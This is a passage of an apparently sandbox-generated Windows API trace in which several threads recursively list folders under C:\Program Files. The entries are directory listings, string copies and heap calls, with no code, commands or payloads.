RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423ec8) returned 1 [0049.060] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4463c0) returned 1 Thread: id = 118 os_tid = 0xbd8 [0045.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4465d8 [0045.980] wcscpy (in: _Dest=0x4465d8, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0045.980] wcscat (in: _Dest=0x4465d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\" [0045.980] wcscat (in: _Dest=0x4465d8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*" [0045.981] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4243b0 [0045.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440360 [0046.738] wcscmp (_String1=".", _String2=".") returned 0 [0046.738] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.738] wcscmp (_String1="..", _String2=".") returned 1 [0046.738] wcscmp (_String1="..", _String2="..") returned 0 [0046.738] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0046.738] wcscmp (_String1="Desktop", _String2=".") returned 1 [0046.738] wcscmp (_String1="Desktop", _String2="..") returned 1 [0046.738] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416780 [0046.738] wcscpy (in: _Dest=0x416780, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0046.738] wcscat (in: _Dest=0x416780, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\" [0046.738] wcscat (in: _Dest=0x416780, _Source="Desktop" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop" [0048.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0048.384] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0048.384] wcscmp (_String1="sqlceca35.dll", _String2=".") returned 1 [0048.384] wcscmp (_String1="sqlceca35.dll", _String2="..") returned 1 [0048.384] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1 [0048.384] wcscmp (_String1="sqlcecompact35.dll", _String2=".") returned 1 [0048.384] wcscmp (_String1="sqlcecompact35.dll", _String2="..") returned 1 [0048.384] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1 [0048.384] wcscmp (_String1="sqlceer35EN.dll", _String2=".") returned 1 [0048.384] wcscmp (_String1="sqlceer35EN.dll", _String2="..") returned 1 [0048.384] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1 [0048.384] wcscmp (_String1="sqlceme35.dll", _String2=".") returned 1 [0048.385] wcscmp (_String1="sqlceme35.dll", _String2="..") returned 1 [0048.385] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1 [0048.385] wcscmp (_String1="sqlceoledb35.dll", _String2=".") returned 1 [0048.385] wcscmp (_String1="sqlceoledb35.dll", _String2="..") returned 1 [0048.385] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1 [0048.385] wcscmp (_String1="sqlceqp35.dll", _String2=".") returned 1 [0048.385] wcscmp (_String1="sqlceqp35.dll", _String2="..") returned 1 [0048.385] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1 [0048.385] wcscmp (_String1="sqlcese35.dll", _String2=".") returned 1 [0048.385] wcscmp (_String1="sqlcese35.dll", _String2="..") returned 1 [0048.385] FindNextFileW (in: hFindFile=0x440360, lpFindFileData=0x4243b0 | out: lpFindFileData=0x4243b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 0 [0048.385] FindClose (in: hFindFile=0x440360 | out: hFindFile=0x440360) returned 1 [0048.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4243b0) returned 1 [0048.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4465d8) returned 1 [0048.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffc98) returned 1 Thread: id = 119 os_tid = 0xbdc [0045.982] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420e08 [0045.982] wcscpy (in: _Dest=0x420e08, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0045.982] wcscat (in: _Dest=0x420e08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0045.982] wcscat (in: _Dest=0x420e08, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*" [0045.982] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424830 [0045.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x424830 | out: lpFindFileData=0x424830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0e8 [0045.983] wcscmp (_String1=".", _String2=".") returned 0 [0045.983] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424830 | out: lpFindFileData=0x424830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.983] wcscmp (_String1="..", _String2=".") returned 1 [0045.983] wcscmp (_String1="..", _String2="..") returned 0 [0045.983] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424830 | out: lpFindFileData=0x424830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0045.983] wcscmp (_String1="Documentation", _String2=".") returned 1 [0045.983] wcscmp (_String1="Documentation", _String2="..") returned 1 [0045.983] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x446660 [0045.983] wcscpy (in: _Dest=0x446660, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0045.983] wcscat (in: _Dest=0x446660, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0045.983] wcscat (in: _Dest=0x446660, _Source="Documentation" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" [0045.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268 [0045.987] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424830 | out: lpFindFileData=0x424830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0045.987] wcscmp (_String1="Runtime", _String2=".") returned 1 [0045.987] wcscmp (_String1="Runtime", _String2="..") returned 1 [0045.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418a28 [0045.987] wcscpy (in: _Dest=0x418a28, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0045.987] wcscat (in: _Dest=0x418a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0045.987] wcscat (in: _Dest=0x418a28, _Source="Runtime" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" [0045.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x418a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c [0045.988] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424830 | out: lpFindFileData=0x424830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0045.988] FindClose (in: hFindFile=0x40a0e8 | out: hFindFile=0x40a0e8) returned 1 [0045.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424830) returned 1 [0045.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420e08) returned 1 [0045.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446480) returned 1 Thread: id = 120 os_tid = 0xbe0 [0045.989] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x4466e8 [0045.989] wcscpy (in: _Dest=0x4466e8, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0045.989] wcscat (in: _Dest=0x4466e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\" [0045.989] wcscat (in: _Dest=0x4466e8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*" [0045.989] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424848 [0045.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0e8 [0045.990] wcscmp (_String1=".", _String2=".") returned 0 [0045.990] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.990] wcscmp (_String1="..", _String2=".") returned 1 [0045.990] wcscmp (_String1="..", _String2="..") returned 0 [0045.990] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0045.990] wcscmp (_String1="v1.0", _String2=".") returned 1 [0045.990] wcscmp (_String1="v1.0", _String2="..") returned 1 [0045.990] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4165d0 [0045.990] wcscpy (in: _Dest=0x4165d0, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0045.990] wcscat (in: _Dest=0x4165d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\" [0045.990] wcscat (in: _Dest=0x4165d0, _Source="v1.0" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" [0045.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4165d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0045.991] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0045.991] FindClose (in: hFindFile=0x40a0e8 | out: hFindFile=0x40a0e8) returned 1 [0045.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424848) returned 1 [0045.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4466e8) returned 1 [0045.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffd18) returned 1 Thread: id = 121 os_tid = 0xbe4 [0045.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413e38 [0045.992] wcscpy (in: _Dest=0x413e38, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0045.992] wcscat (in: _Dest=0x413e38, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\" [0045.992] wcscat (in: _Dest=0x413e38, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\*" [0045.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424848 [0045.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4403a0 [0046.753] wcscmp (_String1=".", _String2=".") returned 0 [0046.753] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.753] wcscmp (_String1="..", _String2=".") returned 1 [0046.753] wcscmp (_String1="..", _String2="..") returned 0 [0046.753] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0046.753] wcscmp (_String1="Windows Workflow Foundation", _String2=".") returned 1 [0046.753] wcscmp (_String1="Windows Workflow Foundation", _String2="..") returned 1 [0046.753] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446ff0 [0046.753] wcscpy (in: _Dest=0x446ff0, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0046.753] wcscat (in: _Dest=0x446ff0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\" [0046.753] wcscat (in: _Dest=0x446ff0, _Source="Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0048.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274 [0048.387] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0048.387] FindClose (in: hFindFile=0x4403a0 | out: hFindFile=0x4403a0) returned 1 [0048.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424848) returned 1 [0048.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e38) returned 1 [0048.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444af0) returned 1 Thread: id = 122 os_tid = 0xbe8 [0045.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x420e08 [0045.997] wcscpy (in: _Dest=0x420e08, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0045.997] wcscat (in: _Dest=0x420e08, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\" [0045.997] wcscat (in: _Dest=0x420e08, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\*" [0045.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424ab0 [0045.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, 